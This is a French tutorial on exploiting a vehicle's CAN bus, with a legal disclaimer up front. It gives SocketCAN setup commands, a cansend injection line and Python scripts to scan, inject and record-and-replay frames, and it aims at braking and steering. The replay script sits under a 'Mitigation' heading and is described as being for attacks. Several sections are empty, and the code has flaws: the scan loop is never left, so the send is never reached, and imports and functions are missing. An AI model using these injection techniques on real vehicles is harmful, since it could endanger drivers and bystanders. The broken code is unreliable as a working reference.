⚠️ Avertissement

Ce tutoriel est fourni à des fins éducatives uniquement. Toute manipulation du CAN Bus d’un véhicule sans autorisation explicite est illégale et peut causer des dommages graves. Utilisez ces techniques uniquement pour des tests de sécurité légitimes dans un environnement contrôlé et sécurisé.

Exploitation des Interfaces CAN des Véhicules

Objectif

Exploiter le CAN Bus (Controller Area Network) d'un véhicule pour accéder aux systèmes de contrôle interne (freinage, direction, etc.) en utilisant des dispositifs et techniques de hacking automobile.

Prérequis

Tutoriel détaillé

1. Préparation de la Raspberry Pi ou de l’Adaptateur USB-CAN

2. Configuration du Logiciel CAN sur Kali Linux/Raspbian

Installer les bibliothèques nécessaires :

sudo apt-get update
sudo apt-get install python-can

Configurer l’interface CAN avec SocketCAN pour la Raspberry Pi :

sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up

3. Scan des Messages CAN

Utiliser candump (outil fourni avec can-utils) pour écouter les messages CAN du véhicule :

candump can0

Cela permet de voir le flux de données CAN en temps réel. Notez les ID et les données qui apparaissent pour identifier les trames pertinentes (ex. : commandes de freinage ou de direction).

4. Injection de Messages CAN

Une fois les ID identifiés, utiliser cansend pour injecter des messages spécifiques :

cansend can0 18DAF110#0201050000000000

Tester des commandes spécifiques pour interagir avec le véhicule (ex. : contrôle de la climatisation, affichage sur le tableau de bord, etc.). Attention : toute manipulation doit être effectuée dans un environnement sécurisé (comme un banc de test ou un véhicule immobilisé).

5. Écriture d’un Script Python pour Automatiser le Scan et l’Injection

Utiliser la bibliothèque python-can pour automatiser la capture et l’envoi de messages CAN.


import can
import time

def setup_can_interface():
    bus = can.interface.Bus(channel='can0', bustype='socketcan')
    return bus

def scan_can(bus):
    print("[*] Scanning CAN bus for messages...")
    while True:
        message = bus.recv()
        print(f"ID: {hex(message.arbitration_id)}, Data: {message.data}")

def send_can_message(bus, arbitration_id, data):
    message = can.Message(arbitration_id=arbitration_id, data=data, extended_id=False)
    bus.send(message)
    print(f"[*] Sent message ID: {hex(arbitration_id)} with data: {data}")

if __name__ == "__main__":
    bus = setup_can_interface()
    try:
        print("CAN Bus Scanner and Injector")
        scan_can(bus)
        # Example of sending a message
        send_can_message(bus, 0x18DAF110, [0x02, 0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00])
    except KeyboardInterrupt:
        print("Exiting...")
        

Ce script scanne le bus CAN et permet d’envoyer un message prédéfini en injectant des données dans le réseau de contrôle du véhicule.

6. Test des Commandes Critiques en Environnement Contrôlé

Pour la sécurité, ces tests doivent être réalisés sur un banc de test de véhicule ou sur un véhicule immobilisé (roue levée, moteur éteint). Tester différentes commandes (accélération, freinage, direction) uniquement dans un environnement sécurisé.

7. Protection Contre les Attaques CAN (Mitigation)

Script Python pour Enregistrer et Rejouer des Trames CAN

Créer un enregistreur de trames CAN pour capturer des trames pendant une période de temps et les rejouer pour des tests ou attaques.


import can

def record_can_traffic(bus, duration):
    log = []
    print(f"[*] Recording CAN traffic for {duration} seconds...")
    end_time = time.time() + duration
    while time.time() < end_time:
        message = bus.recv()
        log.append((message.arbitration_id, message.data))
    return log

def replay_can_traffic(bus, log):
    print("[*] Replaying recorded CAN traffic...")
    for arbitration_id, data in log:
        send_can_message(bus, arbitration_id, data)

if __name__ == "__main__":
    bus = setup_can_interface()
    log = record_can_traffic(bus, 10)  # Record for 10 seconds
    replay_can_traffic(bus, log)
        

8. Validation et Compatibilité

Tester cette méthode sur plusieurs marques de véhicules avec différents protocoles CAN (ISO 15765, ISO 11898) pour garantir la compatibilité et la flexibilité des scripts.